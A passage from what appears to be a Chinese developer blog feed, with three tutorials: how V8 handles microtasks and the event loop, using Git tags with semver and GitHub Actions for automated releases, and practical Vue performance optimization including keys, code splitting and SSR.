V8 通过 MicrotasksPolicy 枚举控制微任务何时被触发:

// src/execution/isolate.h(精简)
enum class MicrotasksPolicy {
  kExplicit,  // 宿主显式调用(Node.js 早期方式)
  kScoped,    // 作用域结束时执行
  kAuto       // 默认:调用栈清空时自动执行 ← 浏览器和现代 Node.js
};

V8 暴露 PerformMicrotaskCheckpoint() 接口给宿主环境:宿主每执行完一个宏任务,就调用它通知 V8 去清空微任务队列。这是宏任务和微任务协作的关键接口


三、Promise 与微任务的关联

Promise 的 .then() 为什么是微任务?答案在 V8 的 Promise 实现里。

// src/builtins/promise-then.tq(Torque,V8 内置函数描述语言,精简)
// Promise resolve 时调用此函数
transitioning builtin FulfillPromise(promise, value) {
  const reactions = promise.reactions_or_result;

  // ★ 将 .then() 的回调包装成 PromiseReactionTask,入队微任务
  MicrotaskQueueEnqueueMicrotask(
    context,
    PromiseReactionTask { reaction: reactions, argument: value }
  );
}

白话解释Promise.resolve().then(fn) 并不立刻执行 fn,而是将 fn 封装成 PromiseReactionTask,调用 EnqueueMicrotask 放入 V8 的微任务队列,等调用栈清空后再由 RunMicrotasks 执行。


四、宏任务:宿主环境的调度

宏任务不在 V8 内部,由宿主环境维护。以 Node.js 为例,libuv 驱动宏任务,执行完毕后通知 V8:

// Node.js 核心调度(大幅精简示意)
do {
  uv_run(event_loop, UV_RUN_DEFAULT);     // 1. 执行一个宏任务(libuv)
  isolate->PerformMicrotaskCheckpoint();  // 2. 通知 V8 清空微任务 ← 关键接口
} while (more_tasks);

两套队列分属不同系统,由 PerformMicrotaskCheckpoint() 这一接口联结,完成协作。


五、完整事件循环流程

[宿主环境 libuv/Chromium]              [V8 引擎]
         │                                 │
         │  取出一个宏任务 → 交给 V8        │
         │ ──────────────────────────────► │ 执行同步代码,调用栈清空
         │                                 │
         │  PerformMicrotaskCheckpoint()   │
         │ ◄────────────────────────────── │ RunMicrotasks() while(size_>0)
         │                                 │ 新产生的微任务也在此轮清空
         │                                 │
         │  (可选) UI 渲染                  │
         │  取下一个宏任务...               │

六、async/await 在 V8 中的实现

async/await 是语法糖,V8 编译时将其转换为 Promise 状态机。

// 你写的代码
async function foo() {
  console.log('A');
  await bar();
  console.log('C');  // await 后的代码
}

V8 内部概念等价:

function foo() {
  console.log('A');
  return bar().then(() => {
    console.log('C');  // 被包装为 PromiseReactionTask → 微任务
  });
}

V8 用 ResumeGenerator 内置函数处理 await 的恢复:await 暂停时将后续逻辑注册为 Promise 回调(EnqueueMicrotask),恢复时从微任务队列取出执行。

结论await 的暂停和恢复,本质是两次微任务队列的入队出队


七、经典代码示例解析

console.log('1');

setTimeout(() => console.log('2'), 0);   // 宿主宏任务队列

Promise.resolve()
  .then(() => console.log('3'))          // V8 EnqueueMicrotask → cb3
  .then(() => console.log('4'));         // cb3 完成后 EnqueueMicrotask → cb4

console.log('5');

// 输出:1 → 5 → 3 → 4 → 2
步骤 调用栈 V8 微任务队列 宿主宏任务队列 输出
1 log('1') - - 1
2 setTimeout - cb2 -
3 Promise.then [cb3] cb2 -
4 log('5') [cb3] cb2 5
5 栈空 → RunMicrotasks → cb3 执行 cb4 入队 cb2 3
6 RunMicrotasks 继续 → cb4 执行 [] cb2 4
7 size_=0 退出 → 宿主取 cb2 - - 2

八、Node.js 特殊性:process.nextTick

process.nextTick 不走 V8 的微任务队列,而是 Node.js 在调用 PerformMicrotaskCheckpoint 之前,先清空自己维护的 nextTick 队列:

// Node.js 内部调度顺序(lib/internal/process/task_queues.js,精简)
function processTicksAndRejections() {
  drainNextTicks();  // 1. 先清空 nextTick 队列(Node.js 自己维护)
  runMicrotasks();   // 2. 再触发 V8 清空 Promise 微任务
}
process.nextTick(() => console.log('nextTick'));      // Node.js 独立队列
Promise.resolve().then(() => console.log('Promise')); // V8 微任务队列
// 输出:nextTick → Promise

九、总结

维度 宏任务 微任务
维护者 宿主环境(libuv / Chromium) V8 引擎(MicrotaskQueue
每轮执行数量 取出一个 全部清空while size_ > 0
触发方式 宿主事件循环调度 PerformMicrotaskCheckpoint()
Promise 关联 FulfillPromiseEnqueueMicrotask
插队行为 不能 新增微任务在本轮立即执行

核心口诀:同步代码 → V8 清空微任务(while size_>0)→ 宿主取下一个宏任务 → V8 清空微任务 → ...


参考源码:microtask-queue.cc · promise-then.tq · Node.js task_queues.js

Git Tag + Semver + CI/CD:从打标签到自动发布的完整实践

作者 ZengLiangYi
2026年3月2日 11:49

本文从一个真实的前端项目出发,梳理 Git Tag 的核心用法、语义化版本规范,以及如何配合 GitHub Actions 实现"打 tag 即发布"的自动化流程。

一、Git Tag 是什么?

你可以把 Tag 理解为 Git 仓库的版本书签

每次 git commit 产生的 hash(如 1419814)对人类不友好,而 Tag 让你给某个 commit 取一个有意义的名字:

commit 1419814  ←──  tag: v1.1.0
commit e368e3a  ←──  tag: v1.0.0

与分支(branch)不同,Tag 一旦创建就不会随新提交移动,永远指向那个固定的 commit。这使它非常适合标记发布版本。

二、两种 Tag 类型

轻量标签(Lightweight)

只是 commit 的别名,不包含额外信息:

git tag v1.0.0

附注标签(Annotated) ✅ 推荐

包含作者、日期、说明信息,是一个完整的 Git 对象:

git tag -a v1.0.0 -m "首个正式发布版本"

查看区别:

# 轻量标签 — 只显示 commit 信息
git show v1.0.0

# 附注标签 — 额外显示 tag 作者、日期、说明
git show v1.1.0
# Tagger: Rayner <xxx@xxx.com>
# Date:   Sun Mar 2 11:34:00 2026 +0800
# feat(diagnosis): add autocomplete presets...

实践建议:正式版本一律用附注标签,轻量标签留给临时标记或个人备忘。

三、Tag 常用操作速查

创建

# 给当前 HEAD 打标签
git tag -a v1.1.0 -m "feat: 新增初诊预设自动匹配功能"

# 给历史 commit 补打标签
git tag -a v0.9.0 abc1234 -m "beta 版本"

查看

# 列出所有标签
git tag -l

# 按版本号降序排列(推荐)
git tag -l --sort=-v:refname

# 模糊筛选
git tag -l "v1.*"

# 查看标签详情
git show v1.1.0

推送到远程

重点git push 默认不推送标签!必须显式推送:

# 推送单个标签
git push origin v1.1.0

# 推送所有本地标签
git push origin --tags

这是新手最常踩的坑 — 本地打了标签以为万事大吉,结果远程仓库和 CI/CD 完全无感知。

删除

# 删除本地标签
git tag -d v0.6.0

# 删除远程标签
git push origin --delete v0.6.0

基于 Tag 检出代码

# 查看某个版本的代码(进入 detached HEAD 状态)
git checkout v1.0.0

# 基于某个 tag 创建新分支进行修复
git checkout -b hotfix/v1.0.1 v1.0.0

四、语义化版本(Semantic Versioning)

Tag 命名推荐遵循 Semver 2.0.0 规范,格式为 vMAJOR.MINOR.PATCH

v1.1.0
 │ │ │
 │ │ └── PATCH 修订号:向下兼容的 bug 修复
 │ └──── MINOR 次版本号:向下兼容的新功能
 └────── MAJOR 主版本号:包含破坏性变更

版本递增规则

变更类型 举例 版本变化
修复 bug 修复登录页白屏 v1.0.0v1.0.1
新增功能(向下兼容) 新增初诊预设短语 v1.0.0v1.1.0
破坏性变更 API 接口重构、移除旧功能 v1.1.0v2.0.0

实际判断技巧

核心问题:升级版本后,原来能跑的代码会不会炸?

举个具体例子,假设你维护一个诊断模块,别的同事在调用你的函数:

// 同事的代码
import { updateDiagnosis } from '@/services/diagnosis';
updateDiagnosis(patientId, diagnosisId, { chief_complaint: '头晕' });

三种情况:

你做的变更 同事的代码需要改吗? 版本 原因
修复了 updateDiagnosis 内部的一个空指针 bug 不需要,升级即修复 patch 行为修正,接口没变
新增了 PresetTextArea 组件 不需要,原来的代码照常用 minor 新功能是增量的,不影响已有代码
updateDiagnosis(patientId, id, data) 改成了 updateDiagnosis({ patientId, id, ...data }) 需要! 调用方的参数格式得全改 major 接口签名变了,原来的调用会报错

简单口诀:

  • 升级后原来的代码炸了 → major
  • 升级后原来的代码没炸,但多了新东西可以用 → minor
  • 升级后原来的代码没炸,只是 bug 少了 → patch

Ant Design 的版本实践

Ant Design 遵循同样的 Semver 规范,它的发布节奏是:

  • patch:每周末日常 bugfix
  • minor:每月发布带有新特性的向下兼容版本
  • major:包含破坏性更新,不在固定周期内(如 antd v5 → v6)

五、Tag + GitHub Actions = 自动发布

这是 Tag 最实用的场景:推送 tag 自动触发构建和发布

工作流配置

# .github/workflows/release.yml
name: Release

on:
  push:
    tags:
      - 'v*.*.*'   # 匹配所有 semver 格式的 tag

jobs:
  release:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: npm

      - run: npm ci
      - run: npm run build

      # 打包构建产物
      - name: Package dist
        run: zip -r dist-${{ github.ref_name }}.zip dist/

      # 创建 GitHub Release 并上传附件
      - name: Create Release
        uses: softprops/action-gh-release@v2
        with:
          generate_release_notes: true
          files: dist-${{ github.ref_name }}.zip

完整发布流程

# 1. 开发完成,提交代码
git add .
git commit -m "feat(diagnosis): add autocomplete presets"

# 2. 推送代码
git push

# 3. 打附注标签
git tag -a v1.1.0 -m "feat: 新增初诊预设自动匹配功能"

# 4. 推送标签(触发 CI/CD)
git push origin v1.1.0

# 5. GitHub Actions 自动执行:
#    checkout → install → build → zip → create release

推送 tag 后,在 GitHub 仓库的 Actions 页面可以看到 workflow 被触发,完成后会在 Releases 页面生成一个新版本,附带构建产物的 zip 包。

触发条件解析

on:
  push:
    tags:
      - 'v*.*.*'
  • v1.0.0 — 匹配 ✅
  • v1.1.0 — 匹配 ✅
  • v2.0.0-beta.1 — 不匹配 ❌(多了 -beta.1
  • release-1.0 — 不匹配 ❌(缺少 v 前缀)

如果需要匹配预发布版本,可以改为 'v*' 或添加 'v*.*.*-*'

六、常见问题

Q1:打错了 tag 怎么办?

# 删除本地错误 tag
git tag -d v0.6.0

# 如果已推送到远程,也要删除远程
git push origin --delete v0.6.0

# 重新打正确的 tag
git tag -a v1.1.0 -m "正确的版本"
git push origin v1.1.0

Q2:忘记推送 tag,CI/CD 没触发?

git push 只推送分支,不推送标签。必须额外执行:

git push origin v1.1.0
# 或推送所有标签
git push origin --tags

Q3:Tag 和 Branch 有什么区别?

特性 Tag Branch
是否移动 固定不动 随 commit 前移
用途 标记版本快照 开发分支
推送方式 需显式推送 git push 自动推送

Q4:什么时候该打 tag?

  • 功能开发完成、测试通过、准备发布时
  • 不要在开发过程中频繁打 tag
  • 一个 tag 对应一个可发布的稳定版本

七、总结

开发完成  git commit  git tag -a vX.Y.Z  git push origin vX.Y.Z
                                  
                          遵循 Semver 规范
                          patch:  bug
                          minor: 加功能
                          major: 破坏性更新
                                  
                          推送触发 CI/CD  自动构建发布

Git Tag 本身很简单,但结合语义化版本和 CI/CD,就构成了一套完整的版本管理与自动发布体系。掌握这套流程,你的项目发布就从"手动打包上传"进化到了"一行命令自动搞定"。


参考资料

性能优化之实战指南:让你的 Vue 应⽤跑得飞起

作者 destinying
2026年3月2日 13:27

Vue 性能优化实战指南:让你的 Vue 应⽤跑得飞起

1. 列表项 key 属性:被你误解最深的 Vue 知识点

兄弟们,key 这个属性估计是 Vue 里被误解最多的东⻄了。很多同学以为随便给个 index 就完事了,结果性能炸裂还不知道为啥。

1.1 key 的作⽤到底是什么?

Vue 的虚拟 DOM diff 算法通过 key 来判断节点是否可以复用。没有 key 或者 key 重复,Vue 会强制复用 DOM,导致性能下降甚至状态混乱。

<!-- ❌ 错误:用 index 做 key -->
<template>
  <div>
    <div v-for="(item, index) in list" :key="index">
      {{ item.name }}
      <input v-model="item.value" />
    </div>
  </div>
</template>

<script>
export default {
  data() {
    return {
      list: [
        { name: '张三', value: '' },
        { name: '李四', value: '' },
        { name: '王五', value: '' }
      ]
    }
  }
}
</script>

问题: 当你删除第一个元素时,Vue 会"以为"后面的元素只是变了位置,于是把第二个元素的 DOM 复用给第一个,第三个复用给第二个...结果输入框里的值全乱了!

<!-- ✅ 正确:用唯一标识做 key -->
<template>
  <div>
    <div v-for="item in list" :key="item.id">
      {{ item.name }}
      <input v-model="item.value" />
    </div>
  </div>
</template>

<script>
export default {
  data() {
    return {
      list: [
        { id: 1, name: '张三', value: '' },
        { id: 2, name: '李四', value: '' },
        { id: 3, name: '王五', value: '' }
      ]
    }
  }
}
</script>

1.2 什么时候必须用 key?

<!-- 1. v-for 必须用 -->
<template>
  <div v-for="item in list" :key="item.id">{{ item.name }}</div>
</template>

<!-- 2. 条件渲染多个元素时建议用 -->
<template>
  <div v-if="showForm" :key="1">表单A</div>
  <div v-else :key="2">表单B</div>
</template>

1.3 key 选择指南

// ✅ 好的 key
:key="item.id"              // 唯一标识,最佳选择
:key="item.uuid"            // 如果有 UUID 更好
:key="`${item.type}_${item.id}`"  // 组合唯一标识

// ❌ 不好的 key
:key="index"                // 列表会出问题
:key="Math.random()"        // 每次都变,失去复用意义
:key="item.name"            // 可能重复

1.4 小贴士

  • 列表只有渲染,不会增删改查,用 index 也问题不大
  • 列表会动态变化,必须用唯一标识
  • 表格、聊天、购物车这种场景,key 选错了会出大问题
  • 调试时可以用 Vue DevTools 看 diff 结果,key 对不对一目了然

2. 架构级优化:从源头解决性能问题

前面讲的都是"术",现在讲"道"。架构级优化能让你的应用从根本上快起来。

2.1 代码分割:把大蛋糕切成小块

现代打包工具(Webpack、Vite)都支持代码分割,把代码拆成多个小块,按需加载。

2.1.1 路由级别代码分割

这是最常见的优化方式,每个路由一个 chunk。

// ❌ 一次性加载所有路由组件
import Home from '@/views/Home.vue'
import About from '@/views/About.vue'
import Profile from '@/views/Profile.vue'
import Settings from '@/views/Settings.vue'

const routes = [
  { path: '/', component: Home },
  { path: '/about', component: About },
  { path: '/profile', component: Profile },
  { path: '/settings', component: Settings }
]
// ✅ 路由懒加载
const routes = [
  {
    path: '/',
    component: () => import('@/views/Home.vue')
  },
  {
    path: '/about',
    component: () => import('@/views/About.vue')
  },
  {
    path: '/profile',
    component: () => import('@/views/Profile.vue')
  },
  {
    path: '/settings',
    component: () => import('@/views/Settings.vue')
  }
]

打包效果:

  • 首屏只加载 home.js
  • 用户访问 /about 时才加载 about.js
  • 首屏体积从 2MB 降到 300KB,首屏时间缩短 60%+
2.1.2 组件级别代码分割

某些大型组件(如富文本编辑器、图表库)可以按需加载。

<template>
  <div>
    <button @click="showEditor = true">打开编辑器</button>

    <!-- 条件加载大型组件 -->
    <Editor v-if="showEditor" @close="showEditor = false" />
  </div>
</template>

<script>
export default {
  components: {
    Editor: () => import('@/components/Editor.vue')
  },
  data() {
    return {
      showEditor: false
    }
  }
}
</script>
2.1.3 动态导入

更灵活的按需加载方式。

// 点击按钮时才加载某个模块
async function loadFeature() {
  if (needsAdvancedFeatures) {
    const { default: AdvancedModule } = await import('@/features/advanced')
    AdvancedModule.init()
  }
}

// 根据条件加载不同的实现
async function getChartLibrary() {
  if (useECharts) {
    const echarts = await import('echarts')
    return echarts
  } else {
    const chartjs = await import('chart.js')
    return chartjs
  }
}
2.1.4 第三方库分割

某些第三方库可以单独打包。

// webpack.config.js
module.exports = {
  optimization: {
    splitChunks: {
      chunks: 'all',
      cacheGroups: {
        vendor: {
          test: /[\\/]node_modules[\\/]/,
          name: 'vendors',
          priority: 10
        },
        elementUI: {
          test: /[\\/]node_modules[\\/]element-ui[\\/]/,
          name: 'elementUI',
          priority: 20
        },
        commons: {
          name: 'commons',
          minChunks: 2,
          priority: 5,
          reuseExistingChunk: true
        }
      }
    }
  }
}

2.2 路由级别优化

除了代码分割,路由本身也有优化空间。

2.2.1 路由懒加载 + 预加载
// 路由配置
const routes = [
  {
    path: '/',
    component: () => import('@/views/Home.vue')
  },
  {
    path: '/about',
    component: () => import(/* webpackPrefetch: true */ '@/views/About.vue')
  },
  {
    path: '/profile',
    component: () => import(/* webpackPreload: true */ '@/views/Profile.vue')
  }
]

区别:

  • webpackPrefetch:空闲时预加载,适合"可能访问"的路由
  • webpackPreload:立即预加载,适合"即将访问"的路由
2.2.2 路由组件缓存

使用 keep-alive 缓存路由组件,避免重复渲染。

<template>
  <div id="app">
    <!-- 缓存所有路由组件 -->
    <keep-alive>
      <router-view />
    </keep-alive>

    <!-- 或者只缓存特定路由 -->
    <keep-alive :include="['Home', 'Profile']">
      <router-view />
    </keep-alive>

    <!-- 排除某些路由 -->
    <keep-alive :exclude="['Login', 'Register']">
      <router-view />
    </keep-alive>
  </div>
</template>
// 组件内配合使用
export default {
  name: 'Home',  // 必须有 name 才能被 include/exclude 匹配
  data() {
    return {
      list: []
    }
  },
  activated() {
    // 从缓存恢复时调用
    console.log('组件被激活')
    this.fetchData()
  },
  deactivated() {
    // 组件被缓存时调用
    console.log('组件被停用')
  }
}
2.2.3 路由守卫优化
// ❌ 重复获取数据
router.beforeEach(async (to, from, next) => {
  // 每次导航都获取用户信息
  const user = await fetchUser()
  next()
})

// ✅ 缓存用户信息
let cachedUser = null
let lastFetchTime = 0
const CACHE_DURATION = 5 * 60 * 1000 // 5分钟

router.beforeEach(async (to, from, next) => {
  const now = Date.now()

  if (!cachedUser || now - lastFetchTime > CACHE_DURATION) {
    cachedUser = await fetchUser()
    lastFetchTime = now
  }

  next()
})

2.3 状态管理优化

2.3.1 Vuex 模块化
// ❌ 所有的 state 都在一个大对象里
const store = new Vuex.Store({
  state: {
    user: {},
    products: [],
    cart: [],
    orders: [],
    settings: {},
    // ... 越来越多
  }
})
// ✅ 模块化管理
const user = {
  namespaced: true,
  state: () => ({ currentUser: null }),
  mutations: { SET_USER(state, user) { state.currentUser = user } },
  actions: { async fetchUser({ commit }) { /* ... */ } }
}

const products = {
  namespaced: true,
  state: () => ({ list: [] }),
  mutations: { SET_PRODUCTS(state, list) { state.list = list } }
}

const store = new Vuex.Store({
  modules: { user, products, cart, orders }
})
2.3.2 按需注册模块
// 动态注册模块
router.beforeEach(async (to, from, next) => {
  if (to.matched.some(record => record.meta.requiresAdmin)) {
    await store.registerModule('admin', adminModule)
  }
  next()
})

// 离开时卸载模块
router.afterEach((to, from) => {
  if (!to.matched.some(record => record.meta.requiresAdmin)) {
    if (store.hasModule('admin')) {
      store.unregisterModule('admin')
    }
  }
})

2.4 组件设计原则

2.4.1 组件粒度
<!-- ❌ 组件太大,职责不清 -->
<template>
  <div class="user-list">
    <div v-for="user in users" :key="user.id">
      <img :src="user.avatar">
      <div>{{ user.name }}</div>
      <div>{{ user.email }}</div>
      <button @click="follow(user)">关注</button>
      <button @click="block(user)">拉黑</button>
      <button @click="sendMessage(user)">发消息</button>
    </div>
  </div>
</template>
<!-- ✅ 拆分成多个小组件 -->
<template>
  <UserList :users="users">
    <template #default="{ user }">
      <UserCard :user="user">
        <template #actions>
          <UserActions :user="user" />
        </template>
      </UserCard>
    </template>
  </UserList>
</template>

<!-- UserCard.vue -->
<template>
  <div class="user-card">
    <Avatar :src="user.avatar" />
    <UserInfo :name="user.name" :email="user.email" />
    <slot name="actions" />
  </div>
</template>

<!-- UserActions.vue -->
<template>
  <div class="actions">
    <button @click="$emit('follow')">关注</button>
    <button @click="$emit('block')">拉黑</button>
    <button @click="$emit('message')">发消息</button>
  </div>
</template>
2.4.2 避免不必要的渲染
<template>
  <div>
    <!-- ❌ 每次父组件更新都会重新渲染 -->
    <ExpensiveComponent :data="heavyData" />

    <!-- ✅ 使用计算属性缓存 -->
    <ExpensiveComponent :data="processedData" />

    <!-- ✅ 使用 v-once 只渲染一次 -->
    <div v-once>{{ staticContent }}</div>

    <!-- ✅ 使用 shouldComponentUpdate(Vue 2)或 computed(Vue 3) -->
    <ExpensiveComponent v-if="shouldRender" />
  </div>
</template>

<script>
export default {
  data() {
    return {
      heavyData: largeData,
      someOtherData: []
    }
  },
  computed: {
    processedData() {
      return this.heavyData.map(item => ({
        ...item,
        formatted: this.format(item)
      }))
    },
    shouldRender() {
      return this.heavyData.length > 0
    }
  },
  methods: {
    format(item) {
      // 昂贵的计算
      return item.value.toFixed(2)
    }
  }
}
</script>

3. 服务端渲染 SSR:SEO 和首屏性能的双刃剑

SSR(Server-Side Rendering)能在服务器端渲染 Vue 组件,直接返回 HTML,对 SEO 和首屏加载都有巨大提升。

3.1 SSR vs CSR

对比项 CSR(客户端渲染) SSR(服务端渲染)
SEO ❌ 搜索引擎爬虫难以抓取 ✅ 直接返回 HTML,SEO 友好
首屏时间 ⚠️ 需要加载 JS 后才能渲染 ✅ 首屏直接显示 HTML
服务器压力 ✅ 低,只提供静态资源 ⚠️ 高,需要渲染页面
开发复杂度 ✅ 简单 ⚠️ 复杂,需要考虑同构
交互响应 ✅ 客户端即时响应 ⚠️ 需要注水(hydration)

3.2 Nuxt.js 快速上手

Nuxt.js 是 Vue 的 SSR 框架,开箱即用。

# 创建 Nuxt 项目
npx create-nuxt-app my-app

cd my-app
npm run dev
3.2.1 页面自动路由
pages/
├── index.vue          # / 路由
├── about.vue          # /about 路由
└── users/
    ├── index.vue      # /users 路由
    └── _id.vue       # /users/:id 路由
3.2.2 数据获取
<!-- pages/index.vue -->
<template>
  <div>
    <div v-if="loading">加载中...</div>
    <div v-else>
      <h1>{{ post.title }}</h1>
      <p>{{ post.content }}</p>
    </div>
  </div>
</template>

<script>
export default {
  // 服务器端渲染前获取数据
  async asyncData({ params, $axios }) {
    const post = await $axios.$get(`/api/posts/${params.id}`)
    return { post }
  },

  // 或者在客户端获取数据
  async fetch({ store, $axios }) {
    const posts = await $axios.$get('/api/posts')
    store.commit('posts/SET_POSTS', posts)
  },

  data() {
    return {
      loading: false,
      post: {}
    }
  }
}
</script>
3.2.3 SEO 优化
<template>
  <div>
    <h1>{{ post.title }}</h1>
  </div>
</template>

<script>
export default {
  async asyncData({ $axios, params }) {
    const post = await $axios.$get(`/api/posts/${params.id}`)
    return { post }
  },

  head() {
    return {
      title: this.post.title,
      meta: [
        { hid: 'description', name: 'description', content: this.post.excerpt },
        { hid: 'og:title', property: 'og:title', content: this.post.title },
        { hid: 'og:image', property: 'og:image', content: this.post.image }
      ]
    }
  }
}
</script>

3.3 Vue SSR 手动配置

如果你不想用 Nuxt,可以手动配置 Vue SSR。

3.3.1 服务端入口
// server.js
const express = require('express')
const { createSSRApp } = require('vue')
const { renderToString } = require('@vue/server-renderer')

const server = express()

server.get('*', async (req, res) => {
  const app = createSSRApp({
    data: () => ({ url: req.url }),
    template: `<div>访问的 URL 是:{{ url }}</div>`
  })

  const appContent = await renderToString(app)

  const html = `
    <!DOCTYPE html>
    <html>
      <head><title>Vue SSR</title></head>
      <body>
        <div id="app">${appContent}</div>
      </body>
    </html>
  `

  res.end(html)
})

server.listen(3000)
3.3.2 客户端入口
// client.js
import { createSSRApp } from 'vue'
import { createApp } from 'vue'

const app = createSSRApp({
  data: () => ({ url: window.location.pathname }),
  template: `<div>访问的 URL 是:{{ url }}</div>`
})

app.mount('#app')

3.4 静态站点生成(SSG)

如果你的内容是静态的,可以用静态站点生成,比 SSR 更简单。

// nuxt.config.js
export default {
  // 启用静态生成
  generate: {
    routes: ['/post/1', '/post/2', '/post/3']
  }
}

// 或者动态生成
export default {
  generate: {
    async routes() {
      const posts = await fetchPosts()
      return posts.map(post => `/post/${post.id}`)
    }
  }
}

3.5 SSR 性能优化

3.5.1 缓存渲染结果
const LRU = require('lru-cache')
const ssrCache = new LRU({
  max: 1000,
  maxAge: 1000 * 60 * 15 // 15分钟
})

async function renderPage(url) {
  // 检查缓存
  const cached = ssrCache.get(url)
  if (cached) {
    return cached
  }

  // 渲染页面
  const html = await renderToString(app)

  // 缓存结果
  ssrCache.set(url, html)

  return html
}
3.5.2 流式渲染
const { renderToStream } = require('@vue/server-renderer')

server.get('*', async (req, res) => {
  const stream = renderToStream(app)

  res.write('<!DOCTYPE html><html><head>...')

  // 流式输出
  stream.pipe(res, { end: false })

  stream.on('end', () => {
    res.end('</html>')
  })
})
3.5.3 避免在服务端执行客户端代码
<template>
  <div>
    <!-- ❌ 服务端没有 window -->
    <div>{{ window.innerWidth }}</div>

    <!-- ✅ 使用 process.client 判断 -->
    <div v-if="process.client">{{ window.innerWidth }}</div>
    <div v-else>服务端渲染</div>

    <!-- ✅ 或者在 mounted 中获取 -->
    <div>{{ screenWidth }}</div>
  </div>
</template>

<script>
export default {
  data() {
    return {
      screenWidth: 0
    }
  },
  mounted() {
    // mounted 只在客户端执行
    this.screenWidth = window.innerWidth
  }
}
</script>

3.6 SSR 踩过的坑

3.6.1 状态同步问题
// ❌ 服务端和客户端状态不一致
export default {
  async asyncData() {
    // 服务端获取数据
    const data = await fetchData()
    return { data }
  },
  mounted() {
    // 客户端又获取一次,可能导致冲突
    this.fetchData()
  }
}

// ✅ 统一状态管理
export default {
  async asyncData({ store }) {
    await store.dispatch('fetchData')
    return { data: store.state.data }
  },
  computed: {
    data() {
      return this.$store.state.data
    }
  }
}
3.6.2 Cookie 处理
// ❌ 服务端访问不到 document.cookie
async function fetchUser() {
  const cookie = document.cookie // 报错
}

// ✅ 通过上下文传递 cookie
async function fetchUser(context) {
  const cookie = context.req.headers.cookie
  // 使用 cookie 发送请求
}
3.6.3 异步组件处理
<template>
  <div>
    <!-- SSR 时异步组件不会渲染 -->
    <AsyncComponent />
  </div>
</template>

<script>
export default {
  components: {
    // ✅ 使用 SSR 友好的异步组件
    AsyncComponent: defineAsyncComponent({
      loader: () => import('./AsyncComponent.vue'),
      loadingComponent: LoadingComponent,
      errorComponent: ErrorComponent,
      delay: 200,
      timeout: 3000
    })
  }
}
</script>

3.7 是否需要 SSR?

需要 SSR 的情况:

  • 内容需要 SEO(博客、新闻、电商)
  • 首屏加载时间要求极高
  • 社交媒体分享需要预览卡片

不需要 SSR 的情况:

  • 内部管理系统
  • 社交媒体应用(如 Twitter)
  • 游戏或富交互应用

总结

Vue 性能优化是一个系统工程,需要从多个层面入手:

  1. key 属性要选对,用唯一标识,别用 index
  2. 代码分割是标配,路由懒加载、组件按需加载
  3. 架构设计要合理,模块化、职责单一、避免过度渲染
  4. SSR 看场景使用,SEO 和首屏是刚需就上,否则别自找麻烦
  5. 监控要跟上,用 Vue DevTools、Lighthouse、Web Vitals 持续优化

最后,如果你觉得这篇⽂章对你有帮助,点个赞呗!如果觉得有问题,评论区喷我,我抗揍。

❌
❌